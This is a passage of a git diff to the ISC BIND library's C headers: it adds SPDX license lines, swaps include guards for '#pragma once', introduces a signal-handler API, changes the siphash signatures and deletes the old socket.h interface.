+			UNREACHABLE();            \
+		}                                 \
+	}
+
+#endif /* USE_PTHREAD_RWLOCK */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/safe.h b/lib/isc/include/isc/safe.h
index 434d0edd25..35e775980b 100644
--- a/lib/isc/include/isc/safe.h
+++ b/lib/isc/include/isc/safe.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_SAFE_H
-#define ISC_SAFE_H 1
+#pragma once
 
 /*! \file isc/safe.h */
 
@@ -41,5 +42,3 @@ isc_safe_memwipe(void *, size_t);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_SAFE_H */
diff --git a/lib/isc/include/isc/serial.h b/lib/isc/include/isc/serial.h
index fe7b59a200..b7bfa5f304 100644
--- a/lib/isc/include/isc/serial.h
+++ b/lib/isc/include/isc/serial.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_SERIAL_H
-#define ISC_SERIAL_H 1
+#pragma once
 
 #include <inttypes.h>
 #include <stdbool.h>
@@ -66,5 +67,3 @@ isc_serial_ne(uint32_t a, uint32_t b);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_SERIAL_H */
diff --git a/lib/isc/include/isc/signal.h b/lib/isc/include/isc/signal.h
new file mode 100644
index 0000000000..af13d723ea
--- /dev/null
+++ b/lib/isc/include/isc/signal.h
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <stdlib.h>
+
+#include <isc/lang.h>
+#include <isc/loop.h>
+
+typedef void (*isc_signal_cb)(void *, int);
+
+ISC_LANG_BEGINDECLS
+
+isc_signal_t *
+isc_signal_new(isc_loopmgr_t *loopmgr, isc_signal_cb cb, void *cbarg,
+	       int signum);
+/*%<
+ * Create a new signal handler for loop manager 'loopmgr', handling
+ * the signal value 'signum'.
+ *
+ * After isc_signal_start() is called on the returned signal handler,
+ * and until isc_signal_stop() is called, if the running process receives
+ * signal 'signum', 'cb' will be run with argument 'cbarg'.
+ */
+
+void
+isc_signal_destroy(isc_signal_t **signalp);
+/*%<
+ * Free the memory allocated by isc_signal_new().
+ */
+
+void
+isc_signal_start(isc_signal_t *signal);
+/*%<
+ * Start using the signal handler 'signal'.
+ */
+
+void
+isc_signal_stop(isc_signal_t *signal);
+/*%<
+ * Stop using the signal handler 'signal'. (It can be restarted with
+ * isc_signal_start().)
+ */
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/siphash.h b/lib/isc/include/isc/siphash.h
index 10957a9fdd..905711f7cb 100644
--- a/lib/isc/include/isc/siphash.h
+++ b/lib/isc/include/isc/siphash.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,6 @@
 #pragma once
 
 #include <isc/lang.h>
-#include <isc/platform.h>
 #include <isc/types.h>
 
 #define ISC_SIPHASH24_KEY_LENGTH 128 / 8
@@ -27,9 +28,9 @@ ISC_LANG_BEGINDECLS
 
 void
 isc_siphash24(const uint8_t *key, const uint8_t *in, const size_t inlen,
-	      uint8_t *out);
+	      bool case_sensitive, uint8_t *out);
 void
 isc_halfsiphash24(const uint8_t *key, const uint8_t *in, const size_t inlen,
-		  uint8_t *out);
+		  bool case_sensitive, uint8_t *out);
 
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/sockaddr.h b/lib/isc/include/isc/sockaddr.h
index a072614094..5d86d49895 100644
--- a/lib/isc/include/isc/sockaddr.h
+++ b/lib/isc/include/isc/sockaddr.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,19 +11,21 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_SOCKADDR_H
-#define ISC_SOCKADDR_H 1
+#pragma once
 
 /*! \file isc/sockaddr.h */
 
 #include <stdbool.h>
+#include <sys/un.h>
 
 #include <isc/lang.h>
 #include <isc/net.h>
 #include <isc/types.h>
 
-#include <sys/un.h>
-
+/*
+ * Any updates to this structure should also be applied in
+ * contrib/modules/dlz/dlz_minmal.h.
+ */
 struct isc_sockaddr {
 	union {
 		struct sockaddr		sa;
@@ -241,5 +245,3 @@ isc_sockaddr_fromsockaddr(isc_sockaddr_t *isa, const struct sockaddr *sa);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_SOCKADDR_H */
diff --git a/lib/isc/include/isc/socket.h b/lib/isc/include/isc/socket.h
deleted file mode 100644
index ad6cf29603..0000000000
--- a/lib/isc/include/isc/socket.h
+++ /dev/null
@@ -1,848 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-/*****
-***** Module Info
-*****/
-
-/*! \file isc/socket.h
- * \brief Provides TCP and UDP sockets for network I/O.  The sockets are event
- * sources in the task system.
- *
- * When I/O completes, a completion event for the socket is posted to the
- * event queue of the task which requested the I/O.
- *
- * \li MP:
- *	The module ensures appropriate synchronization of data structures it
- *	creates and manipulates.
- *	Clients of this module must not be holding a socket's task's lock when
- *	making a call that affects that socket.  Failure to follow this rule
- *	can result in deadlock.
- *	The caller must ensure that isc_socketmgr_destroy() is called only
- *	once for a given manager.
- *
- * \li Reliability:
- *	No anticipated impact.
- *
- * \li Resources:
- *	TBS
- *
- * \li Security:
- *	No anticipated impact.
- *
- * \li Standards:
- *	None.
- */
-
-/***
- *** Imports
- ***/
-
-#include <inttypes.h>
-#include <stdbool.h>
-
-#include <isc/event.h>
-#include <isc/eventclass.h>
-#include <isc/lang.h>
-#include <isc/region.h>
-#include <isc/sockaddr.h>
-#include <isc/time.h>
-#include <isc/types.h>
-
-ISC_LANG_BEGINDECLS
-
-/***
- *** Constants
- ***/
-
-/*%
- * Maximum number of buffers in a scatter/gather read/write.  The operating
- * system in use must support at least this number (plus one on some.)
- */
-#define ISC_SOCKET_MAXSCATTERGATHER 8
-
-/*@{*/
-/*!
- * Socket options:
- *
- * _REUSEADDRESS:	Set SO_REUSEADDR prior to calling bind(),
- * 			if a non-zero port is specified (applies to
- * 			AF_INET and AF_INET6).
- */
-typedef enum {
-	ISC_SOCKET_REUSEADDRESS = 0x01U,
-} isc_socket_options_t;
-/*@}*/
-
-/*@{*/
-/*!
- * _ATTACHED:	Internal use only.
- * _TRUNC:	Packet was truncated on receive.
- * _CTRUNC:	Packet control information was truncated.  This can
- *		indicate that the packet is not complete, even though
- *		all the data is valid.
- * _TIMESTAMP:	The timestamp member is valid.
- * _PKTINFO:	The pktinfo member is valid.
- * _MULTICAST:	The UDP packet was received via a multicast transmission.
- * _DSCP:	The UDP DSCP value is valid.
- * _USEMINMTU:	Set the per packet IPV6_USE_MIN_MTU flag.
- */
-typedef enum {
-	ISC_SOCKEVENTATTR_ATTACHED = 0x10000000U,  /* internal */
-	ISC_SOCKEVENTATTR_TRUNC = 0x00800000U,	   /* public */
-	ISC_SOCKEVENTATTR_CTRUNC = 0x00400000U,	   /* public */
-	ISC_SOCKEVENTATTR_TIMESTAMP = 0x00200000U, /* public */
-	ISC_SOCKEVENTATTR_PKTINFO = 0x00100000U,   /* public */
-	ISC_SOCKEVENTATTR_MULTICAST = 0x00080000U, /* public */
-	ISC_SOCKEVENTATTR_DSCP = 0x00040000U,	   /* public */
-	ISC_SOCKEVENTATTR_USEMINMTU = 0x00020000U  /* public */
-} isc_sockeventattr_t;
-/*@}*/
-
-/***
- *** Types
- ***/
-
-struct isc_socketevent {
-	ISC_EVENT_COMMON(isc_socketevent_t);
-	isc_result_t	    result;	/*%< OK, EOF, whatever else */
-	unsigned int	    minimum;	/*%< minimum i/o for event */
-	unsigned int	    n;		/*%< bytes read or written */
-	unsigned int	    offset;	/*%< offset into buffer list */
-	isc_region_t	    region;	/*%< for single-buffer i/o */
-	isc_sockaddr_t	    address;	/*%< source address */
-	isc_time_t	    timestamp;	/*%< timestamp of packet recv */
-	struct in6_pktinfo  pktinfo;	/*%< ipv6 pktinfo */
-	isc_sockeventattr_t attributes; /*%< see isc_sockeventattr_t
-					 *   enum */
-	isc_eventdestructor_t destroy;	/*%< original destructor */
-	unsigned int	      dscp;	/*%< UDP dscp value */
-};
-
-typedef struct isc_socket_newconnev isc_socket_newconnev_t;
-struct isc_socket_newconnev {
-	ISC_EVENT_COMMON(isc_socket_newconnev_t);
-	isc_socket_t * newsocket;
-	isc_result_t   result;	/*%< OK, EOF, whatever else */
-	isc_sockaddr_t address; /*%< source address */
-};
-
-typedef struct isc_socket_connev isc_socket_connev_t;
-struct isc_socket_connev {
-	ISC_EVENT_COMMON(isc_socket_connev_t);
-	isc_result_t result; /*%< OK, EOF, whatever else */
-};
-
-#define ISC_SOCKEVENT_ANYEVENT (0)
-#define ISC_SOCKEVENT_RECVDONE (ISC_EVENTCLASS_SOCKET + 1)
-#define ISC_SOCKEVENT_SENDDONE (ISC_EVENTCLASS_SOCKET + 2)
-#define ISC_SOCKEVENT_NEWCONN  (ISC_EVENTCLASS_SOCKET + 3)
-#define ISC_SOCKEVENT_CONNECT  (ISC_EVENTCLASS_SOCKET + 4)
-
-/*
- * Internal events.
- */
-#define ISC_SOCKEVENT_INTR (ISC_EVENTCLASS_SOCKET + 256)
-#define ISC_SOCKEVENT_INTW (ISC_EVENTCLASS_SOCKET + 257)
-
-typedef enum {
-	isc_sockettype_udp = 1,
-	isc_sockettype_tcp = 2,
-	isc_sockettype_unix = 3,
-	isc_sockettype_raw = 4
-} isc_sockettype_t;
-
-/*@{*/
-/*!
- * How a socket should be shutdown in isc_socket_shutdown() calls.
- */
-#define ISC_SOCKSHUT_RECV 0x00000001 /*%< close read side */
-#define ISC_SOCKSHUT_SEND 0x00000002 /*%< close write side */
-#define ISC_SOCKSHUT_ALL  0x00000003 /*%< close them all */
-/*@}*/
-
-/*@{*/
-/*!
- * What I/O events to cancel in isc_socket_cancel() calls.
- */
-#define ISC_SOCKCANCEL_RECV    0x00000001 /*%< cancel recv */
-#define ISC_SOCKCANCEL_SEND    0x00000002 /*%< cancel send */
-#define ISC_SOCKCANCEL_ACCEPT  0x00000004 /*%< cancel accept */
-#define ISC_SOCKCANCEL_CONNECT 0x00000008 /*%< cancel connect */
-#define ISC_SOCKCANCEL_ALL     0x0000000f /*%< cancel everything */
-/*@}*/
-
-/*@{*/
-/*!
- * Flags for isc_socket_send() and isc_socket_recv() calls.
- */
-#define ISC_SOCKFLAG_IMMEDIATE 0x00000001 /*%< send event only if needed */
-#define ISC_SOCKFLAG_NORETRY   0x00000002 /*%< drop failed UDP sends */
-/*@}*/
-
-/***
- *** Socket and Socket Manager Functions
- ***
- *** Note: all Ensures conditions apply only if the result is success for
- *** those functions which return an isc_result.
- ***/
-
-isc_result_t
-isc_socket_create(isc_socketmgr_t *manager, int pf, isc_sockettype_t type,
-		  isc_socket_t **socketp);
-/*%<
- * Create a new 'type' socket managed by 'manager'.
- *
- * Note:
- *
- *\li	'pf' is the desired protocol family, e.g. PF_INET or PF_INET6.
- *
- * Requires:
- *
- *\li	'manager' is a valid manager
- *
- *\li	'socketp' is a valid pointer, and *socketp == NULL
- *
- * Ensures:
- *
- *	'*socketp' is attached to the newly created socket
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_NORESOURCES
- *\li	#ISC_R_UNEXPECTED
- */
-
-isc_result_t
-isc_socket_dup(isc_socket_t *sock0, isc_socket_t **socketp);
-/*%<
- * Duplicate an existing socket, reusing its file descriptor.
- */
-
-void
-isc_socket_cancel(isc_socket_t *sock, isc_task_t *task, unsigned int how);
-/*%<
- * Cancel pending I/O of the type specified by "how".
- *
- * Note: if "task" is NULL, then the cancel applies to all tasks using the
- * socket.
- *
- * Requires:
- *
- * \li	"socket" is a valid socket
- *
- * \li	"task" is NULL or a valid task
- *
- * "how" is a bitmask describing the type of cancellation to perform.
- * The type ISC_SOCKCANCEL_ALL will cancel all pending I/O on this
- * socket.
- *
- * \li ISC_SOCKCANCEL_RECV:
- *	Cancel pending isc_socket_recv() calls.
- *
- * \li ISC_SOCKCANCEL_SEND:
- *	Cancel pending isc_socket_send() and isc_socket_sendto() calls.
- *
- * \li ISC_SOCKCANCEL_ACCEPT:
- *	Cancel pending isc_socket_accept() calls.
- *
- * \li ISC_SOCKCANCEL_CONNECT:
- *	Cancel pending isc_socket_connect() call.
- */
-
-void
-isc_socket_shutdown(isc_socket_t *sock, unsigned int how);
-/*%<
- * Shutdown 'socket' according to 'how'.
- *
- * Requires:
- *
- * \li	'socket' is a valid socket.
- *
- * \li	'task' is NULL or is a valid task.
- *
- * \li	If 'how' is 'ISC_SOCKSHUT_RECV' or 'ISC_SOCKSHUT_ALL' then
- *
- *		The read queue must be empty.
- *
- *		No further read requests may be made.
- *
- * \li	If 'how' is 'ISC_SOCKSHUT_SEND' or 'ISC_SOCKSHUT_ALL' then
- *
- *		The write queue must be empty.
- *
- *		No further write requests may be made.
- */
-
-void
-isc_socket_attach(isc_socket_t *sock, isc_socket_t **socketp);
-/*%<
- * Attach *socketp to socket.
- *
- * Requires:
- *
- * \li	'socket' is a valid socket.
- *
- * \li	'socketp' points to a NULL socket.
- *
- * Ensures:
- *
- * \li	*socketp is attached to socket.
- */
-
-void
-isc_socket_detach(isc_socket_t **socketp);
-/*%<
- * Detach *socketp from its socket.
- *
- * Requires:
- *
- * \li	'socketp' points to a valid socket.
- *
- * \li	If '*socketp' is the last reference to the socket,
- *	then:
- *
- *		There must be no pending I/O requests.
- *
- * Ensures:
- *
- * \li	*socketp is NULL.
- *
- * \li	If '*socketp' is the last reference to the socket,
- *	then:
- *
- *		The socket will be shutdown (both reading and writing)
- *		for all tasks.
- *
- *		All resources used by the socket have been freed
- */
-
-isc_result_t
-isc_socket_open(isc_socket_t *sock);
-/*%<
- * Open a new socket file descriptor of the given socket structure.  It simply
- * opens a new descriptor; all of the other parameters including the socket
- * type are inherited from the existing socket.  This function is provided to
- * avoid overhead of destroying and creating sockets when many short-lived
- * sockets are frequently opened and closed.  When the efficiency is not an
- * issue, it should be safer to detach the unused socket and re-create a new
- * one.  This optimization may not be available for some systems, in which
- * case this function will return ISC_R_NOTIMPLEMENTED and must not be used.
- *
- * Requires:
- *
- * \li	there must be no other reference to this socket.
- *
- * \li	'socket' is a valid and previously closed by isc_socket_close()
- *
- * Returns:
- *	Same as isc_socket_create().
- * \li	ISC_R_NOTIMPLEMENTED
- */
-
-isc_result_t
-isc_socket_close(isc_socket_t *sock);
-/*%<
- * Close a socket file descriptor of the given socket structure.  This function
- * is provided as an alternative to destroying an unused socket when overhead
- * destroying/re-creating sockets can be significant, and is expected to be
- * used with isc_socket_open().  This optimization may not be available for some
- * systems, in which case this function will return ISC_R_NOTIMPLEMENTED and
- * must not be used.
- *
- * Requires:
- *
- * \li	The socket must have a valid descriptor.
- *
- * \li	There must be no other reference to this socket.
- *
- * \li	There must be no pending I/O requests.
- *
- * Returns:
- * \li	#ISC_R_NOTIMPLEMENTED
- */
-
-isc_result_t
-isc_socket_bind(isc_socket_t *sock, const isc_sockaddr_t *addressp,
-		isc_socket_options_t options);
-/*%<
- * Bind 'socket' to '*addressp'.
- *
- * Requires:
- *
- * \li	'socket' is a valid socket
- *
- * \li	'addressp' points to a valid isc_sockaddr.
- *
- * Returns:
- *
- * \li	ISC_R_SUCCESS
- * \li	ISC_R_NOPERM
- * \li	ISC_R_ADDRNOTAVAIL
- * \li	ISC_R_ADDRINUSE
- * \li	ISC_R_BOUND
- * \li	ISC_R_UNEXPECTED
- */
-
-isc_result_t
-isc_socket_filter(isc_socket_t *sock, const char *filter);
-/*%<
- * Inform the kernel that it should perform accept filtering.
- * If filter is NULL the current filter will be removed.
- */
-
-isc_result_t
-isc_socket_listen(isc_socket_t *sock, unsigned int backlog);
-/*%<
- * Set listen mode on the socket.  After this call, the only function that
- * can be used (other than attach and detach) is isc_socket_accept().
- *
- * Notes:
- *
- * \li	'backlog' is as in the UNIX system call listen() and may be
- *	ignored by non-UNIX implementations.
- *
- * \li	If 'backlog' is zero, a reasonable system default is used, usually
- *	SOMAXCONN.
- *
- * Requires:
- *
- * \li	'socket' is a valid, bound TCP socket or a valid, bound UNIX socket.
- *
- * Returns:
- *
- * \li	ISC_R_SUCCESS
- * \li	ISC_R_UNEXPECTED
- */
-
-isc_result_t
-isc_socket_accept(isc_socket_t *sock, isc_task_t *task, isc_taskaction_t action,
-		  void *arg);
-/*%<
- * Queue accept event.  When a new connection is received, the task will
- * get an ISC_SOCKEVENT_NEWCONN event with the sender set to the listen
- * socket.  The new socket structure is sent inside the isc_socket_newconnev_t
- * event type, and is attached to the task 'task'.
- *
- * REQUIRES:
- * \li	'socket' is a valid TCP socket that isc_socket_listen() was called
- *	on.
- *
- * \li	'task' is a valid task
- *
- * \li	'action' is a valid action
- *
- * RETURNS:
- * \li	ISC_R_SUCCESS
- * \li	ISC_R_NOMEMORY
- * \li	ISC_R_UNEXPECTED
- */
-
-isc_result_t
-isc_socket_connect(isc_socket_t *sock, const isc_sockaddr_t *addressp,
-		   isc_task_t *task, isc_taskaction_t action, void *arg);
-/*%<
- * Connect 'socket' to peer with address *saddr.  When the connection
- * succeeds, or when an error occurs, a CONNECT event with action 'action'
- * and arg 'arg' will be posted to the event queue for 'task'.
- *
- * Requires:
- *
- * \li	'socket' is a valid TCP socket
- *
- * \li	'addressp' points to a valid isc_sockaddr
- *
- * \li	'task' is a valid task
- *
- * \li	'action' is a valid action
- *
- * Returns:
- *
- * \li	ISC_R_SUCCESS
- * \li	ISC_R_NOMEMORY
- * \li	ISC_R_UNEXPECTED
- *
- * Posted event's result code:
- *
- * \li	ISC_R_SUCCESS
- * \li	ISC_R_TIMEDOUT
- * \li	ISC_R_CONNREFUSED
- * \li	ISC_R_NETUNREACH
- * \li	ISC_R_UNEXPECTED
- */
-
-isc_result_t
-isc_socket_getpeername(isc_socket_t *sock, isc_sockaddr_t *addressp);
-/*%<
- * Get the name of the peer connected to 'socket'.
- *
- * Requires:
- *
- * \li	'socket' is a valid TCP socket.
- *
- * Returns:
- *
- * \li	ISC_R_SUCCESS
- * \li	ISC_R_TOOSMALL
- * \li	ISC_R_UNEXPECTED
- */
-
-isc_result_t
-isc_socket_getsockname(isc_socket_t *sock, isc_sockaddr_t *addressp);
-/*%<
- * Get the name of 'socket'.
- *
- * Requires:
- *
- * \li	'socket' is a valid socket.
- *
- * Returns:
- *
- * \li	ISC_R_SUCCESS
- * \li	ISC_R_TOOSMALL
- * \li	ISC_R_UNEXPECTED
- */
-
-/*@{*/
-isc_result_t
-isc_socket_recv(isc_socket_t *sock, isc_region_t *region, unsigned int minimum,
-		isc_task_t *task, isc_taskaction_t action, void *arg);
-
-isc_result_t
-isc_socket_recv2(isc_socket_t *sock, isc_region_t *region, unsigned int minimum,
-		 isc_task_t *task, isc_socketevent_t *event,
-		 unsigned int flags);
-
-/*!
- * Receive from 'socket', storing the results in region.
- *
- * Notes:
- *
- *\li	Let 'length' refer to the length of 'region' or to the sum of all
- *	available regions in the list of buffers '*buflist'.
- *
- *\li	If 'minimum' is non-zero and at least that many bytes are read,
- *	the completion event will be posted to the task 'task.'  If minimum
- *	is zero, the exact number of bytes requested in the region must
- * 	be read for an event to be posted.  This only makes sense for TCP
- *	connections, and is always set to 1 byte for UDP.
- *
- *\li	The read will complete when the desired number of bytes have been
- *	read, if end-of-input occurs, or if an error occurs.  A read done
- *	event with the given 'action' and 'arg' will be posted to the
- *	event queue of 'task'.
- *
- *\li	The caller may not modify 'region', the buffers which are passed
- *	into this function, or any data they refer to until the completion
- *	event is received.
- *
- *\li	For isc_socket_recv2():
- *	'event' is not NULL, and the non-socket specific fields are
- *	expected to be initialized.
- *
- *\li	For isc_socket_recv2():
- *	The only defined value for 'flags' is ISC_SOCKFLAG_IMMEDIATE.  If
- *	set and the operation completes, the return value will be
- *	ISC_R_SUCCESS and the event will be filled in and not sent.  If the
- *	operation does not complete, the return value will be
- *	ISC_R_INPROGRESS and the event will be sent when the operation
- *	completes.
- *
- * Requires:
- *
- *\li	'socket' is a valid, bound socket.
- *
- *\li	For isc_socket_recv():
- *	'region' is a valid region
- *
- *\li	For isc_socket_recvv():
- *	'buflist' is non-NULL, and '*buflist' contain at least one buffer.
- *
- *\li	'task' is a valid task
- *
- *\li	For isc_socket_recv() and isc_socket_recvv():
- *	action != NULL and is a valid action
- *
- *\li	For isc_socket_recv2():
- *	event != NULL
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_INPROGRESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_UNEXPECTED
- *
- * Event results:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_UNEXPECTED
- *\li	XXX needs other net-type errors
- */
-/*@}*/
-
-/*@{*/
-isc_result_t
-isc_socket_send(isc_socket_t *sock, isc_region_t *region, isc_task_t *task,
-		isc_taskaction_t action, void *arg);
-isc_result_t
-isc_socket_sendto(isc_socket_t *sock, isc_region_t *region, isc_task_t *task,
-		  isc_taskaction_t action, void *arg,
-		  const isc_sockaddr_t *address, struct in6_pktinfo *pktinfo);
-isc_result_t
-isc_socket_sendto2(isc_socket_t *sock, isc_region_t *region, isc_task_t *task,
-		   const isc_sockaddr_t *address, struct in6_pktinfo *pktinfo,
-		   isc_socketevent_t *event, unsigned int flags);
-
-/*!
- * Send the contents of 'region' to the socket's peer.
- *
- * Notes:
- *
- *\li	Shutting down the requestor's task *may* result in any
- *	still pending writes being dropped or completed, depending on the
- *	underlying OS implementation.
- *
- *\li	If 'action' is NULL, then no completion event will be posted.
- *
- *\li	The caller may not modify 'region', the buffers which are passed
- *	into this function, or any data they refer to until the completion
- *	event is received.
- *
- *\li	For isc_socket_sendto2():
- *	'event' is not NULL, and the non-socket specific fields are
- *	expected to be initialized.
- *
- *\li	For isc_socket_sendto2():
- *	The only defined values for 'flags' are ISC_SOCKFLAG_IMMEDIATE
- *	and ISC_SOCKFLAG_NORETRY.
- *
- *\li	If ISC_SOCKFLAG_IMMEDIATE is set and the operation completes, the
- *	return value will be ISC_R_SUCCESS and the event will be filled
- *	in and not sent.  If the operation does not complete, the return
- *	value will be ISC_R_INPROGRESS and the event will be sent when
- *	the operation completes.
- *
- *\li	ISC_SOCKFLAG_NORETRY can only be set for UDP sockets.  If set
- *	and the send operation fails due to a transient error, the send
- *	will not be retried and the error will be indicated in the event.
- *	Using this option along with ISC_SOCKFLAG_IMMEDIATE allows the caller
- *	to specify a region that is allocated on the stack.
- *
- * Requires:
- *
- *\li	'socket' is a valid, bound socket.
- *
- *\li	For isc_socket_send():
- *	'region' is a valid region
- *
- *\li	For isc_socket_sendv() and isc_socket_sendtov():
- *	'buflist' is non-NULL, and '*buflist' contain at least one buffer.
- *
- *\li	'task' is a valid task
- *
- *\li	For isc_socket_sendv(), isc_socket_sendtov(), isc_socket_send(), and
- *	isc_socket_sendto():
- *	action == NULL or is a valid action
- *
- *\li	For isc_socket_sendto2():
- *	event != NULL
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_INPROGRESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_UNEXPECTED
- *
- * Event results:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_UNEXPECTED
- *\li	XXX needs other net-type errors
- */
-/*@}*/
-
-isc_result_t
-isc_socketmgr_getmaxsockets(isc_socketmgr_t *manager, unsigned int *nsockp);
-/*%<
- * Returns in "*nsockp" the maximum number of sockets this manager may open.
- *
- * Requires:
- *
- *\li	'*manager' is a valid isc_socketmgr_t.
- *\li	'nsockp' is not NULL.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOTIMPLEMENTED
- */
-
-void
-isc_socketmgr_setstats(isc_socketmgr_t *manager, isc_stats_t *stats);
-/*%<
- * Set a general socket statistics counter set 'stats' for 'manager'.
- *
- * Requires:
- * \li	'manager' is valid, hasn't opened any socket, and doesn't have
- *	stats already set.
- *
- *\li	stats is a valid statistics supporting socket statistics counters
- *	(see above).
- */
-
-isc_sockettype_t
-isc_socket_gettype(isc_socket_t *sock);
-/*%<
- * Returns the socket type for "sock."
- *
- * Requires:
- *
- *\li	"sock" is a valid socket.
- */
-
-/*@{*/
-void
-isc_socket_ipv6only(isc_socket_t *sock, bool yes);
-/*%<
- * If the socket is an IPv6 socket set/clear the IPV6_IPV6ONLY socket
- * option if the host OS supports this option.
- *
- * Requires:
- *\li	'sock' is a valid socket.
- */
-/*@}*/
-
-void
-isc_socket_dscp(isc_socket_t *sock, isc_dscp_t dscp);
-/*%<
- * Sets the Differentiated Services Code Point (DSCP) field for packets
- * transmitted on this socket.  If 'dscp' is -1, return immediately.
- *
- * Requires:
- *\li	'sock' is a valid socket.
- */
-
-isc_socketevent_t *
-isc_socket_socketevent(isc_mem_t *mctx, void *sender, isc_eventtype_t eventtype,
-		       isc_taskaction_t action, void *arg);
-/*%<
- * Get a isc_socketevent_t to be used with isc_socket_sendto2(), etc.
- */
-
-void
-isc_socket_cleanunix(const isc_sockaddr_t *addr, bool active);
-
-/*%<
- * Cleanup UNIX domain sockets in the file-system.  If 'active' is true
- * then just unlink the socket.  If 'active' is false try to determine
- * if there is a listener of the socket or not.  If no listener is found
- * then unlink socket.
- *
- * Prior to unlinking the path is tested to see if it a socket.
- *
- * Note: there are a number of race conditions which cannot be avoided
- *       both in the filesystem and any application using UNIX domain
- *	 sockets (e.g. socket is tested between bind() and listen(),
- *	 the socket is deleted and replaced in the file-system between
- *	 stat() and unlink()).
- */
-
-isc_result_t
-isc_socket_permunix(const isc_sockaddr_t *sockaddr, uint32_t perm,
-		    uint32_t owner, uint32_t group);
-/*%<
- * Set ownership and file permissions on the UNIX domain socket.
- *
- * Note: On Solaris this secures the directory containing
- *       the socket as Solaris do not honour the filesystem
- *	 permissions on the socket.
- *
- * Requires:
- * \li	'sockaddr' to be a valid UNIX domain sockaddr.
- *
- * Returns:
- * \li	#ISC_R_SUCCESS
- * \li	#ISC_R_FAILURE
- */
-
-void
-isc_socket_setname(isc_socket_t *socket, const char *name, void *tag);
-/*%<
- * Set the name and optional tag for a socket.  This allows tracking of the
- * owner or purpose for this socket, and is useful for tracing and statistics
- * reporting.
- */
-
-const char *
-isc_socket_getname(isc_socket_t *socket);
-/*%<
- * Get the name associated with a socket, if any.
- */
-
-void *
-isc_socket_gettag(isc_socket_t *socket);
-/*%<
- * Get the tag associated with a socket, if any.
- */
-
-int
-isc_socket_getfd(isc_socket_t *socket);
-/*%<
- * Get the file descriptor associated with a socket
- */
-
-void
-isc_socketmgr_setreserved(isc_socketmgr_t *mgr, uint32_t);
-/*%<
- * Temporary.  For use by named only.
- */
-
-void
-isc_socketmgr_maxudp(isc_socketmgr_t *mgr, unsigned int maxudp);
-/*%<
- * Test interface. Drop UDP packet > 'maxudp'.
- */
-
-bool
-isc_socket_hasreuseport(void);
-/*%<
- * Return true if there is SO_REUSEPORT support
- */
-
-#ifdef HAVE_LIBXML2
-int
-isc_socketmgr_renderxml(isc_socketmgr_t *mgr, void *writer0);
-/*%<
- * Render internal statistics and other state into the XML document.
- */
-#endif /* HAVE_LIBXML2 */
-
-#ifdef HAVE_JSON_C
-isc_result_t
-isc_socketmgr_renderjson(isc_socketmgr_t *mgr, void *stats0);
-/*%<
- * Render internal statistics and other state into JSON format.
- */
-#endif /* HAVE_JSON_C */
-
-/*%<
- * See isc_socketmgr_create() above.
- */
-typedef isc_result_t (*isc_socketmgrcreatefunc_t)(isc_mem_t *	    mctx,
-						  isc_socketmgr_t **managerp);
-
-ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/spinlock.h b/lib/isc/include/isc/spinlock.h
new file mode 100644
index 0000000000..e8b5432e9c
--- /dev/null
+++ b/lib/isc/include/isc/spinlock.h
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
